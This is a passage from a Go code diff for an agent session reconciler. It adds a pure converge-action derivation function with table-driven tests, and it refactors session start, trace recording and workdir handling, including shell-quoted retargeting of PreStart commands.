+//     identity/priming on a doomed runtime would be wasted work. Never emitted
+//     when the runtime was not observed (C5).
+//   - Otherwise, heal the canonical identity record first (so downstream readers
+//     see one agreed identity), then handle priming.
+//   - Priming is two-phase (§2). When the runtime already carries the delivered
+//     env marker we only heal the durable world (actionStampPrimedFromRuntime,
+//     no nudge). Otherwise we attempt a fresh delivery — but only when the last
+//     attempt is stale enough (attemptEligible), so a crash between the
+//     write-ahead attempt stamp and the confirmation re-delivers at most one
+//     duplicate per interval instead of nudging every tick forever.
+//
+// The function is total and side-effect-free, so (durable x runtime) -> actions
+// is fully table-testable. Re-running it after its actions have durably landed
+// yields the empty list (C2 idempotence).
+func deriveConvergeActions(d durableFacts, r runtimeFacts) []sessConvergeAction {
+	if d.absent {
+		// Rollback dominates, but only on an observed-live runtime: an unobserved
+		// runtime tells us nothing to tear down (C5).
+		if r.observed && r.live {
+			return []sessConvergeAction{actionRollbackRuntimeToAbsent}
+		}
+		return nil
+	}
+
+	var actions []sessConvergeAction
+
+	// Identity heal is a durable-only fact; permitted even when the runtime was
+	// not observed this tick.
+	if strings.TrimSpace(d.canonicalIdentity) == "" {
+		actions = append(actions, actionStampCanonicalIdentity)
+	}
+
+	// Priming requires an observed-live runtime, a prompt-bearing template, and no
+	// durable confirmation yet (P5 gates on promptConfigured).
+	if r.observed && r.live && d.promptConfigured && d.primedAt == "" {
+		switch {
+		case r.primedEnv:
+			// The runtime already got the prompt this incarnation; persist the
+			// confirmation without re-nudging.
+			actions = append(actions, actionStampPrimedFromRuntime)
+		case attemptEligible(d):
+			actions = append(actions, actionAttemptPrime)
+		}
+	}
+
+	return actions
+}
diff --git a/cmd/gc/session_level_converge_test.go b/cmd/gc/session_level_converge_test.go
new file mode 100644
index 0000000000..223d264874
--- /dev/null
+++ b/cmd/gc/session_level_converge_test.go
@@ -0,0 +1,271 @@
+package main
+
+import (
+	"reflect"
+	"testing"
+	"time"
+)
+
+func TestDeriveFirstStart(t *testing.T) {
+	tests := []struct {
+		name       string
+		hash       string
+		transcript sessTranscriptState
+		want       bool
+	}{
+		{"no hash, unknown transcript -> first start", "", sessTranscriptUnknown, true},
+		{"no hash, present transcript -> first start", "", sessTranscriptPresent, true},
+		{"no hash, absent transcript -> first start", "", sessTranscriptAbsent, true},
+		{"whitespace hash NOT trimmed in stage 1 -> resume", "   ", sessTranscriptUnknown, false},
+		{"hash present, unknown transcript -> resume (legacy behavior)", "abc123", sessTranscriptUnknown, false},
+		{"hash present, present transcript -> resume", "abc123", sessTranscriptPresent, false},
+		{"hash present, absent transcript -> first start (#3849 fix, inert until probe)", "abc123", sessTranscriptAbsent, true},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := deriveFirstStart(tt.hash, tt.transcript); got != tt.want {
+				t.Errorf("deriveFirstStart(%q, %v) = %v, want %v", tt.hash, tt.transcript, got, tt.want)
+			}
+		})
+	}
+}
+
+// TestDeriveFirstStartMatchesLegacyWhenUnprobed is the permanent legacy-parity
+// pin (spec §7.2): with sessTranscriptUnknown, the result MUST equal the legacy
+// `started_config_hash == ""` expression for every hash, byte-for-byte, with no
+// TrimSpace. The trim variant is adopted with its own test at Stage 4.
+func TestDeriveFirstStartMatchesLegacyWhenUnprobed(t *testing.T) {
+	for _, hash := range []string{"", "x", "core-hash-42", " ", "\t"} {
+		legacy := hash == ""
+		got := deriveFirstStart(hash, sessTranscriptUnknown)
+		if got != legacy {
+			t.Errorf("deriveFirstStart(%q, unknown) = %v, legacy (== \"\") = %v", hash, got, legacy)
+		}
+	}
+}
+
+func TestAttemptEligible(t *testing.T) {
+	now := time.Date(2026, 7, 7, 12, 0, 0, 0, time.UTC)
+	tests := []struct {
+		name string
+		d    durableFacts
+		want bool
+	}{
+		{
+			name: "never attempted -> eligible",
+			d:    durableFacts{now: now},
+			want: true,
+		},
+		{
+			name: "attempted just now, same prompt -> not eligible (backoff)",
+			d:    durableFacts{now: now, primingAttemptedAt: now, primedPromptHash: "h", currentPromptHash: "h"},
+			want: false,
+		},
+		{
+			name: "attempted beyond interval -> eligible",
+			d:    durableFacts{now: now, primingAttemptedAt: now.Add(-primeReattemptInterval), primedPromptHash: "h", currentPromptHash: "h"},
+			want: true,
+		},
+		{
+			name: "attempted within interval but prompt changed -> eligible",
+			d:    durableFacts{now: now, primingAttemptedAt: now.Add(-time.Second), primedPromptHash: "old", currentPromptHash: "new"},
+			want: true,
+		},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := attemptEligible(tt.d); got != tt.want {
+				t.Errorf("attemptEligible(%+v) = %v, want %v", tt.d, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestDeriveConvergeActions(t *testing.T) {
+	now := time.Date(2026, 7, 7, 12, 0, 0, 0, time.UTC)
+	observedLive := runtimeFacts{observed: true, live: true}
+
+	tests := []struct {
+		name    string
+		durable durableFacts
+		runtime runtimeFacts
+		want    []sessConvergeAction
+	}{
+		{
+			name:    "absent durable + observed-live runtime -> rollback only",
+			durable: durableFacts{absent: true, canonicalIdentity: "", promptConfigured: true, now: now},
+			runtime: observedLive,
+			want:    []sessConvergeAction{actionRollbackRuntimeToAbsent},
+		},
+		{
+			name:    "absent durable + observed-dead runtime -> nothing",
+			durable: durableFacts{absent: true, now: now},
+			runtime: runtimeFacts{observed: true, live: false},
+			want:    nil,
+		},
+		{
+			name:    "absent durable + UNOBSERVED runtime -> nothing (C5)",
+			durable: durableFacts{absent: true, now: now},
+			runtime: runtimeFacts{observed: false, live: true},
+			want:    nil,
+		},
+		{
+			name:    "missing canonical identity -> stamp identity (durable-only, unobserved ok)",
+			durable: durableFacts{canonicalIdentity: "", now: now},
+			runtime: runtimeFacts{observed: false},
+			want:    []sessConvergeAction{actionStampCanonicalIdentity},
+		},
+		{
+			name:    "whitespace canonical identity treated as missing",
+			durable: durableFacts{canonicalIdentity: "  ", now: now},
+			runtime: runtimeFacts{observed: false},
+			want:    []sessConvergeAction{actionStampCanonicalIdentity},
+		},
+		{
+			name:    "identity present, nothing else -> no actions",
+			durable: durableFacts{canonicalIdentity: "worker-1", now: now},
+			runtime: observedLive,
+			want:    nil,
+		},
+		{
+			name:    "observed-live, prompt configured, never primed/attempted -> attempt prime",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", now: now},
+			runtime: observedLive,
+			want:    []sessConvergeAction{actionAttemptPrime},
+		},
+		{
+			name:    "observed-live, primedEnv set but no durable confirmation -> stamp from runtime (no nudge)",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", now: now},
+			runtime: runtimeFacts{observed: true, live: true, primedEnv: true},
+			want:    []sessConvergeAction{actionStampPrimedFromRuntime},
+		},
+		{
+			name:    "observed-live, attempted within interval, same prompt -> no re-attempt (bounded)",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", primingAttemptedAt: now, primedPromptHash: "h", currentPromptHash: "h", now: now},
+			runtime: observedLive,
+			want:    nil,
+		},
+		{
+			name:    "observed-live, attempt stale beyond interval -> re-attempt",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", primingAttemptedAt: now.Add(-primeReattemptInterval), primedPromptHash: "h", currentPromptHash: "h", now: now},
+			runtime: observedLive,
+			want:    []sessConvergeAction{actionAttemptPrime},
+		},
+		{
+			name:    "observed-live, prompt hash changed under attempt -> re-attempt",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", primingAttemptedAt: now, primedPromptHash: "old", currentPromptHash: "new", now: now},
+			runtime: observedLive,
+			want:    []sessConvergeAction{actionAttemptPrime},
+		},
+		{
+			name:    "observed-live, already durably confirmed -> no priming",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "2026-07-07T00:00:00Z", now: now},
+			runtime: observedLive,
+			want:    nil,
+		},
+		{
+			name:    "not live -> no priming even if unprimed",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", now: now},
+			runtime: runtimeFacts{observed: true, live: false},
+			want:    nil,
+		},
+		{
+			name:    "unobserved runtime -> no priming even if durable says prompt configured (C5)",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", now: now},
+			runtime: runtimeFacts{observed: false, live: true},
+			want:    nil,
+		},
+		{
+			name:    "observed-live but no prompt configured -> no priming (P5)",
+			durable: durableFacts{canonicalIdentity: "worker-1", promptConfigured: false, primedAt: "", now: now},
+			runtime: observedLive,
+			want:    nil,
+		},
+		{
+			name:    "missing identity AND unprimed -> identity then priming order",
+			durable: durableFacts{canonicalIdentity: "", promptConfigured: true, primedAt: "", now: now},
+			runtime: observedLive,
+			want:    []sessConvergeAction{actionStampCanonicalIdentity, actionAttemptPrime},
+		},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := deriveConvergeActions(tt.durable, tt.runtime)
+			if !reflect.DeepEqual(got, tt.want) {
+				t.Errorf("deriveConvergeActions() = %v, want %v", got, tt.want)
+			}
+		})
+	}
+}
+
+// TestDeriveConvergeActionsIdempotent asserts C2: applying an action's durable
+// effect to the facts and re-deriving yields the empty list. This encodes the
+// "converged session emits nothing" invariant for each action.
+func TestDeriveConvergeActionsIdempotent(t *testing.T) {
+	now := time.Date(2026, 7, 7, 12, 0, 0, 0, time.UTC)
+	observedLive := runtimeFacts{observed: true, live: true}
+
+	t.Run("identity stamp then re-derive", func(t *testing.T) {
+		d := durableFacts{canonicalIdentity: "", now: now}
+		r := runtimeFacts{observed: false}
+		if got := deriveConvergeActions(d, r); !reflect.DeepEqual(got, []sessConvergeAction{actionStampCanonicalIdentity}) {
+			t.Fatalf("pre-heal = %v", got)
+		}
+		d.canonicalIdentity = "worker-1" // action landed
+		if got := deriveConvergeActions(d, r); got != nil {
+			t.Errorf("post-heal re-derive = %v, want nil", got)
+		}
+	})
+
+	t.Run("attempt prime confirmed then re-derive", func(t *testing.T) {
+		d := durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", now: now}
+		if got := deriveConvergeActions(d, observedLive); !reflect.DeepEqual(got, []sessConvergeAction{actionAttemptPrime}) {
+			t.Fatalf("pre-prime = %v", got)
+		}
+		d.primedAt = now.Format(time.RFC3339) // confirmation landed
+		if got := deriveConvergeActions(d, observedLive); got != nil {
+			t.Errorf("post-confirm re-derive = %v, want nil", got)
+		}
+	})
+
+	t.Run("attempt stamped but not confirmed -> bounded (no re-attempt within interval)", func(t *testing.T) {
+		d := durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", now: now}
+		if got := deriveConvergeActions(d, observedLive); !reflect.DeepEqual(got, []sessConvergeAction{actionAttemptPrime}) {
+			t.Fatalf("pre-prime = %v", got)
+		}
+		// Crash after write-ahead attempt stamp, before confirmation.
+		d.primingAttemptedAt = now
+		d.primedPromptHash = d.currentPromptHash
+		if got := deriveConvergeActions(d, observedLive); got != nil {
+			t.Errorf("re-derive within interval = %v, want nil (bounded)", got)
+		}
+		// After the interval elapses, exactly one re-attempt is emitted.
+		d.now = now.Add(primeReattemptInterval)
+		if got := deriveConvergeActions(d, observedLive); !reflect.DeepEqual(got, []sessConvergeAction{actionAttemptPrime}) {
+			t.Errorf("re-derive after interval = %v, want re-attempt", got)
+		}
+	})
+
+	t.Run("stamp from runtime confirmed then re-derive", func(t *testing.T) {
+		d := durableFacts{canonicalIdentity: "worker-1", promptConfigured: true, primedAt: "", now: now}
+		r := runtimeFacts{observed: true, live: true, primedEnv: true}
+		if got := deriveConvergeActions(d, r); !reflect.DeepEqual(got, []sessConvergeAction{actionStampPrimedFromRuntime}) {
+			t.Fatalf("pre-stamp = %v", got)
+		}
+		d.primedAt = now.Format(time.RFC3339) // confirmation landed
+		if got := deriveConvergeActions(d, r); got != nil {
+			t.Errorf("post-stamp re-derive = %v, want nil", got)
+		}
+	})
+
+	t.Run("rollback torn down then re-derive", func(t *testing.T) {
+		d := durableFacts{absent: true, now: now}
+		if got := deriveConvergeActions(d, runtimeFacts{observed: true, live: true}); !reflect.DeepEqual(got, []sessConvergeAction{actionRollbackRuntimeToAbsent}) {
+			t.Fatalf("pre-rollback = %v", got)
+		}
+		// Runtime torn down: no longer live.
+		if got := deriveConvergeActions(d, runtimeFacts{observed: true, live: false}); got != nil {
+			t.Errorf("post-rollback re-derive = %v, want nil", got)
+		}
+	})
+}
diff --git a/cmd/gc/session_lifecycle_chaos_test.go b/cmd/gc/session_lifecycle_chaos_test.go
index 739483cacb..4a2d24a090 100644
--- a/cmd/gc/session_lifecycle_chaos_test.go
+++ b/cmd/gc/session_lifecycle_chaos_test.go
@@ -1385,11 +1385,9 @@ func (h *sessionChaosHarness) reactivateSession() {
 	if !ok || b.Status == "closed" {
 		return
 	}
-	view := sessionpkg.ProjectLifecycle(sessionpkg.LifecycleInput{
-		Status:   b.Status,
-		Metadata: b.Metadata,
-		Now:      h.env.clk.Now(),
-	})
+	lcInput := sessionpkg.LifecycleInputFromMetadata(b.Status, b.Metadata)
+	lcInput.Now = h.env.clk.Now()
+	view := sessionpkg.ProjectLifecycle(lcInput)
 	switch view.BaseState {
 	case sessionpkg.BaseStateArchived, sessionpkg.BaseStateQuarantined:
 	default:
@@ -1412,11 +1410,9 @@ func (h *sessionChaosHarness) injectStartFailure() {
 		h.record("start-failure skipped: wake conflict state=%s", state)
 		return
 	}
-	view := sessionpkg.ProjectLifecycle(sessionpkg.LifecycleInput{
-		Status:   b.Status,
-		Metadata: b.Metadata,
-		Now:      h.env.clk.Now(),
-	})
+	lcInput := sessionpkg.LifecycleInputFromMetadata(b.Status, b.Metadata)
+	lcInput.Now = h.env.clk.Now()
+	view := sessionpkg.ProjectLifecycle(lcInput)
 	switch view.BaseState {
 	case sessionpkg.BaseStateActive, sessionpkg.BaseStateAsleep, sessionpkg.BaseStateStopped:
 	default:
diff --git a/cmd/gc/session_lifecycle_parallel.go b/cmd/gc/session_lifecycle_parallel.go
index b1c0ff9238..27482a6bdb 100644
--- a/cmd/gc/session_lifecycle_parallel.go
+++ b/cmd/gc/session_lifecycle_parallel.go
@@ -780,7 +780,7 @@ func prepareStartCandidateForCity(
 		return nil, err
 	}
 	candidate = refreshConfiguredNamedStartCandidate(candidate, cityPath, cityName, cfg, sp, store, clk, stderr)
-	return buildPreparedStartWithWorkDirResolver(candidate, cfg, store, workDirResolver)
+	return buildPreparedStartWithWorkDirResolver(candidate, cityPath, cfg, store, workDirResolver)
 }
 
 func refreshConfiguredNamedStartCandidate(
@@ -806,7 +806,7 @@ func refreshConfiguredNamedStartCandidate(
 		}
 		return candidate
 	}
-	refreshed, err := resolvePreservedConfiguredNamedSessionTemplate(cityPath, cityName, cfg, sp, store, snapshot.Open(), *candidate.session, clk, stderr)
+	refreshed, err := resolvePreservedConfiguredNamedSessionTemplate(cityPath, cityName, cfg, sp, store, snapshot.OpenInfos(), sessionpkg.InfoFromPersistedBead(*candidate.session), clk, stderr)
 	if err != nil {
 		if stderr != nil {
 			fmt.Fprintf(stderr, "session reconciler: refreshing named session start %s: %v\n", candidate.name(), err) //nolint:errcheck
@@ -822,11 +822,12 @@ func buildPreparedStart(
 	cfg *config.City,
 	store beads.Store,
 ) (*preparedStart, error) {
-	return buildPreparedStartWithWorkDirResolver(candidate, cfg, store, nil)
+	return buildPreparedStartWithWorkDirResolver(candidate, "", cfg, store, nil)
 }
 
 func buildPreparedStartWithWorkDirResolver(
 	candidate startCandidate,
+	cityPath string,
 	cfg *config.City,
 	store beads.Store,
 	workDirResolver taskWorkDirResolver,
@@ -871,11 +872,18 @@ func buildPreparedStartWithWorkDirResolver(
 		applySchemaOptionOverridesForLaunch(&agentCfg, &tp, session.ID, launchOverrides)
 	}
 
-	if wd := resolvePreparedTaskWorkDir(candidate, cfg, store, workDirResolver); wd != "" {
+	preOverrideWorkDir := agentCfg.WorkDir
+	if wd := resolvePreparedTaskWorkDir(candidate, cityPath, cfg, store, workDirResolver); wd != "" {
 		agentCfg.WorkDir = wd
 	} else if wd := session.Metadata["work_dir"]; wd != "" {
-		agentCfg.WorkDir = wd
-	}
+		agentCfg.WorkDir = resolveWorkDirAgainstCity(cityPath, wd)
+	}
+	// The task work_dir override above can replace agentCfg.WorkDir after
+	// template resolution already rendered PreStart commands (materialize-
+	// skills, MCP projection) against the pre-override directory. Retarget
+	// those already-rendered strings so scaffold staging lands next to the
+	// session it actually launches into, not the directory templating assumed.
+	agentCfg.PreStart = retargetPreStartWorkDir(agentCfg.PreStart, preOverrideWorkDir, agentCfg.WorkDir)
 	// Pre-flight stale-resume guard: if the bead carries a session_key whose
 	// keyed transcript is no longer on disk (provider session retention
 	// disabled, manual cleanup, worktree rebuild), a resume would hard-fail
@@ -893,7 +901,7 @@ func buildPreparedStartWithWorkDirResolver(
 	if sk := strings.TrimSpace(session.Metadata["session_key"]); sk != "" && agentCfg.WorkDir != "" {
 		provider := sessionTranscriptProvider(tp.ResolvedProvider, session.Metadata)
 		if present, probeable := staleResumeKeyProbe(provider, agentCfg.WorkDir, sk); probeable && !present {
-			var sessFront *sessionpkg.InfoStore
+			var sessFront *sessionpkg.Store
 			if store != nil {
 				sessFront = sessionFrontDoor(store)
 			}
@@ -915,7 +923,12 @@ func buildPreparedStartWithWorkDirResolver(
 		}
 		session.Metadata["session_key"] = sessionKey
 	}
-	firstStart := session.Metadata["started_config_hash"] == ""
+	// firstStart classification routes through the level-triggered converge core
+	// (deriveFirstStart). This call passes sessTranscriptUnknown, which reproduces
+	// the legacy durable-only signal (started_config_hash == "") byte-for-byte;
+	// probing the transcript here to activate the #3849 crash-loop fix is the
+	// remaining wiring (see session_level_converge.go).
+	firstStart := deriveFirstStart(session.Metadata["started_config_hash"], sessTranscriptUnknown)
 	forceFresh := session.Metadata["wake_mode"] == "fresh"
 	// Fork-launch validation (fail loud, never silent fresh). A session carrying
 	// gc.brain_parent_sid is a warm arm that must fork off a pre-built brain;
@@ -1057,7 +1070,7 @@ func parseSessionTemplateOverridesForLaunch(session *beads.Bead) map[string]stri
 	if session == nil {
 		return nil
 	}
-	overrides, err := sessionpkg.ParseTemplateOverrides(session.Metadata)
+	overrides, err := sessionpkg.ParseTemplateOverridesFromInfo(sessionpkg.InfoFromPersistedBead(*session))
 	if err != nil {
 		log.Printf("session %s: invalid template_overrides JSON: %v", session.ID, err)
 		return nil
@@ -1100,6 +1113,7 @@ func applySchemaOptionOverridesForLaunch(agentCfg *runtime.Config, tp *TemplateP
 
 func resolvePreparedTaskWorkDir(
 	candidate startCandidate,
+	cityPath string,
 	cfg *config.City,
 	store beads.Store,
 	workDirResolver taskWorkDirResolver,
@@ -1109,7 +1123,31 @@ func resolvePreparedTaskWorkDir(
 			return workDir
 		}
 	}
-	return resolveTaskWorkDir(store, taskWorkDirAssignees(candidate, cfg)...)
+	return resolveTaskWorkDir(cityPath, store, taskWorkDirAssignees(candidate, cfg)...)
+}
+
+// retargetPreStartWorkDir rewrites PreStart command strings rendered against
+// oldWorkDir so they instead reference newWorkDir. A no-op when the task
+// work_dir override left WorkDir unchanged, which is the common case.
+//
+// The generated materialize-skills and project-mcp PreStart commands embed the
+// workdir as a shell-quoted token (see appendMaterializeSkillsPreStart and
+// appendProjectMCPPreStart). Swap the shell-quoted old token for the
+// shell-quoted new token so the rewritten `sh -c` command keeps valid POSIX
+// quoting even when the resolved workdir contains spaces or shell
+// metacharacters. Splicing the raw path in would break argument boundaries or
+// open a command-substitution surface.
+func retargetPreStartWorkDir(preStart []string, oldWorkDir, newWorkDir string) []string {
+	if oldWorkDir == "" || newWorkDir == "" || oldWorkDir == newWorkDir || len(preStart) == 0 {
+		return preStart
+	}
+	oldToken := shellquote.Join([]string{oldWorkDir})
+	newToken := shellquote.Join([]string{newWorkDir})
+	retargeted := make([]string, len(preStart))
+	for i, cmd := range preStart {
+		retargeted[i] = strings.ReplaceAll(cmd, oldToken, newToken)
+	}
+	return retargeted
 }
 
 func taskWorkDirAssignees(candidate startCandidate, cfg *config.City) []string {
@@ -1428,7 +1466,7 @@ func commitAsyncStartResultWithContext(
 	template := result.prepared.candidate.tp.TemplateName
 	// Session front door constructed once from the same store; nil when store
 	// is nil so the session-only leaves keep their store==nil short-circuit.
-	var sessFront *sessionpkg.InfoStore
+	var sessFront *sessionpkg.Store
 	if store != nil {
 		sessFront = sessionFrontDoor(store)
 	}
@@ -1524,16 +1562,22 @@ func asyncStartPreparedCommandStale(prepared preparedStart, current beads.Bead)
 	return preparedCommand != "" && currentCommand != "" && preparedCommand != currentCommand
 }
 
-func clearPendingStartInFlightLease(session *beads.Bead, sessFront *sessionpkg.InfoStore, stderr io.Writer) {
+// clearPendingStartInFlightLease clears last_woke_at. Returns the mirrored
+// {"last_woke_at":""} batch when the clear persisted, nil otherwise, so the
+// rollback callers can fold it onto the typed snapshot (Step 6d write-returns-Info).
+// Most callers discard the return.
+func clearPendingStartInFlightLease(session *beads.Bead, sessFront *sessionpkg.Store, stderr io.Writer) map[string]string {
 	if session == nil || sessFront == nil {
-		return
+		return nil
 	}
 	if setMeta(sessFront, session.ID, "last_woke_at", "", stderr) == nil {
 		if session.Metadata == nil {
 			session.Metadata = make(map[string]string)
 		}
 		session.Metadata["last_woke_at"] = ""
+		return map[string]string{"last_woke_at": ""}
 	}
+	return nil
 }
 
 func stopStaleAsyncStartRuntime(result startResult, sp runtime.Provider, stderr io.Writer) {
@@ -1820,7 +1864,7 @@ func providerCommandBaseName(rp *config.ResolvedProvider) string {
 // the clears performed by recordWakeFailure (cmd/gc/session_reconcile.go) and
 // Manager.clearStaleResumeMetadata (internal/session/chat.go), so downstream
 // breaker / churn logic treats this as the same kind of recovery cycle.
-func clearStaleResumeKeyMetadata(session *beads.Bead, sessFront *sessionpkg.InfoStore) {
+func clearStaleResumeKeyMetadata(session *beads.Bead, sessFront *sessionpkg.Store) {
 	if session == nil {
 		return
 	}
@@ -1842,7 +1886,7 @@ func clearStaleResumeKeyMetadata(session *beads.Bead, sessFront *sessionpkg.Info
 
 func commitStartResult(
 	result startResult,
-	sessFront *sessionpkg.InfoStore,
+	sessFront *sessionpkg.Store,
 	clk clock.Clock,
 	rec events.Recorder,
 	wave int, //nolint:unparam // always 0 here but passed through to commitStartResultTraced which uses it
@@ -1868,7 +1912,7 @@ func confirmPendingStart(currentState string) bool {
 
 func commitStartResultTraced(
 	result startResult,
-	sessFront *sessionpkg.InfoStore,
+	sessFront *sessionpkg.Store,
 	clk clock.Clock,
 	rec events.Recorder,
 	wave int,
@@ -1946,10 +1990,14 @@ func commitStartResultTraced(
 		clearPendingStartInFlightLease(session, sessFront, stderr)
 		fmt.Fprintf(stderr, "session reconciler: storing hashes for %s: %v\n", name, err) //nolint:errcheck
 		if trace != nil {
-			trace.recordMutation("bead_metadata", tp.TemplateName, name, "metadata_batch", session.ID, "started_config_hash", "", result.prepared.coreHash, "failed", traceRecordPayload{
-				"wave":  wave,
-				"error": err.Error(),
-			}, "")
+			trace.RecordMutation(TraceSiteMutationBeadMetadata, TraceReasonUnknown, TraceOutcomeFailed, "metadata_batch", session.ID, "started_config_hash", traceRecordPayload{
+				"wave":     wave,
+				"error":    err.Error(),
+				"template": tp.TemplateName,
+				"before":   "",
+				"after":    result.prepared.coreHash,
+				"field":    "started_config_hash",
+			})
 		}
 		// The runtime started, but we failed to persist metadata
 		// (including the state transition to active). Report failure so
@@ -1977,9 +2025,13 @@ func commitStartResultTraced(
 	})
 	telemetry.RecordAgentStart(context.Background(), name, tp.DisplayName(), nil)
 	if trace != nil {
-		trace.recordMutation("bead_metadata", tp.TemplateName, name, "metadata_batch", session.ID, "started_config_hash", "", result.prepared.coreHash, "success", traceRecordPayload{
-			"wave": wave,
-		}, "")
+		trace.RecordMutation(TraceSiteMutationBeadMetadata, TraceReasonUnknown, TraceOutcomeSuccess, "metadata_batch", session.ID, "started_config_hash", traceRecordPayload{
+			"wave":     wave,
+			"template": tp.TemplateName,
+			"before":   "",
+			"after":    result.prepared.coreHash,
+			"field":    "started_config_hash",
+		})
 	}
 	logLifecycleOutcome(stderr, "start", wave, name, tp.TemplateName, result.outcome, result.started, result.finished, nil, result.phases)
 	return true
@@ -1990,20 +2042,20 @@ func commitStartResultTraced(
 // wake-failure accounting, plus the matching trace and log records. It is split
 // out of commitStartResultTraced to keep the success path legible; the caller
 // returns false after invoking it.
-func commitStartFailure(result startResult, sessFront *sessionpkg.InfoStore, clk clock.Clock, rec events.Recorder, wave int, stderr io.Writer, trace *sessionReconcilerTraceCycle) {
+func commitStartFailure(result startResult, sessFront *sessionpkg.Store, clk clock.Clock, rec events.Recorder, wave int, stderr io.Writer, trace *sessionReconcilerTraceCycle) {
 	session := result.prepared.candidate.session
 	name := result.prepared.candidate.name()
 	tp := result.prepared.candidate.tp
 	fmt.Fprintf(stderr, "session reconciler: starting %s: %s\n", name, formatLifecycleError(result.err)) //nolint:errcheck
 	if reason := runtime.ProviderTerminalErrorReason(result.err.Error()); reason != "" {
-		if err := markProviderTerminalError(session, sessFront, clk, reason); err != nil {
+		if _, err := markProviderTerminalError(session, sessFront, clk, reason); err != nil {
 			fmt.Fprintf(stderr, "session reconciler: marking terminal provider error for %s: %v\n", name, err) //nolint:errcheck
 		}
 		if trace != nil {
-			trace.recordOperation("reconciler.start.terminal_provider_error", tp.TemplateName, name, "", "start", result.outcome, traceRecordPayload{
+			trace.RecordOperation(TraceSiteLifecycleStartTerminalProviderError, TraceReasonStart, TraceOutcomeCode(result.outcome), "", tp.TemplateName, name, 0, traceRecordPayload{
 				"error":  formatLifecycleError(result.err),
 				"reason": reason,
-			}, "")
+			})
 		}
 		if result.rollbackPending {
 			rollbackPendingCreate(session, sessFront, clk.Now().UTC(), stderr)
@@ -2012,21 +2064,21 @@ func commitStartFailure(result startResult, sessFront *sessionpkg.InfoStore, clk
 		return
 	}
 	if result.rateLimitScreen {
-		if err := recordRateLimitQuarantine(session, sessFront, clk); err != nil {
+		if _, err := recordRateLimitQuarantine(session, sessFront, clk); err != nil {
 			fmt.Fprintf(stderr, "session reconciler: recording startup rate-limit hold for %s: %v\n", name, err) //nolint:errcheck
 			if trace != nil {
-				trace.recordOperation("reconciler.start.rate_limit_hold", tp.TemplateName, name, "", "start", "hold_deferred", traceRecordPayload{
+				trace.RecordOperation(TraceSiteLifecycleStartRateLimitHold, TraceReasonStart, TraceOutcomeHoldDeferred, "", tp.TemplateName, name, 0, traceRecordPayload{
 					"error": formatLifecycleError(result.err),
 					"cause": err.Error(),
-				}, "")
+				})
 			}
 			logLifecycleOutcome(stderr, "start", wave, name, tp.TemplateName, result.outcome, result.started, result.finished, result.err, result.phases)
 			return
 		}
 		if trace != nil {
-			trace.recordOperation("reconciler.start.rate_limit_hold", tp.TemplateName, name, "", "start", "held", traceRecordPayload{
+			trace.RecordOperation(TraceSiteLifecycleStartRateLimitHold, TraceReasonStart, TraceOutcomeHeld, "", tp.TemplateName, name, 0, traceRecordPayload{
 				"error": formatLifecycleError(result.err),
-			}, "")
+			})
 		}
 		logLifecycleOutcome(stderr, "start", wave, name, tp.TemplateName, result.outcome, result.started, result.finished, result.err, result.phases)
 		return
@@ -2046,9 +2098,9 @@ func commitStartFailure(result startResult, sessFront *sessionpkg.InfoStore, clk
 		// Genuine wake-failure accounting happens on the non-rollback path
 		// below via recordWakeFailure.
 		if trace != nil {
-			trace.recordOperation("reconciler.start.rollback_pending", tp.TemplateName, name, "", "start", result.outcome, traceRecordPayload{
+			trace.RecordOperation(TraceSiteLifecycleStartRollback, TraceReasonStart, TraceOutcomeCode(result.outcome), "", tp.TemplateName, name, 0, traceRecordPayload{
 				"error": formatLifecycleError(result.err),
-			}, "")
+			})
 		}
 		rollbackPendingCreate(session, sessFront, clk.Now().UTC(), stderr)
 		logLifecycleOutcome(stderr, "start", wave, name, tp.TemplateName, result.outcome, result.started, result.finished, result.err, result.phases)
@@ -2064,13 +2116,18 @@ func commitStartFailure(result startResult, sessFront *sessionpkg.InfoStore, clk
 	// even for a namepool-themed pool instance whose bead predates agent_name.
 	recordWakeFailure(session, sessFront, clk, tp.DisplayName())
 	if trace != nil {
-		trace.recordOperation("reconciler.start.failed", tp.TemplateName, name, "", "start", result.outcome, traceRecordPayload{
+		trace.RecordOperation(TraceSiteLifecycleStartFailed, TraceReasonStart, TraceOutcomeCode(result.outcome), "", tp.TemplateName, name, 0, traceRecordPayload{
 			"error": formatLifecycleError(result.err),
-		}, "")
+		})
 	}
 	logLifecycleOutcome(stderr, "start", wave, name, tp.TemplateName, result.outcome, result.started, result.finished, result.err, result.phases)
 }
 
+// recoverRunningPendingCreate heals an already-active bead whose
+// pending_create_claim flag was left set after a partial write on a prior tick.
+// Returns (true, metadata) when the heal was persisted, (false, nil) on any
+// early-out or failure. The caller folds the returned metadata onto the typed
+// snapshot via ApplyPatch (nil is a no-op).
 func recoverRunningPendingCreate(
 	session *beads.Bead,
 	tp TemplateParams,
@@ -2078,18 +2135,18 @@ func recoverRunningPendingCreate(
 	store beads.Store,
 	clk clock.Clock,
 	trace *sessionReconcilerTraceCycle,
-) bool {
+) (bool, map[string]string) {
 	if session == nil || store == nil {
-		return false
+		return false, nil
 	}
 	prepared, err := buildPreparedStart(startCandidate{session: session, tp: tp}, cfg, store)
 	if err != nil {
 		if trace != nil {
-			trace.recordDecision("reconciler.session.pending_create", tp.TemplateName, tp.SessionName, "pending_create_rebuild_failed", "failed", traceRecordPayload{
+			trace.RecordDecision(TraceSiteReconcilerPendingCreate, TraceReasonPendingCreateRebuildFailed, TraceOutcomeFailed, tp.TemplateName, tp.SessionName, traceRecordPayload{
 				"error": err.Error(),
-			}, nil, "")
+			})
 		}
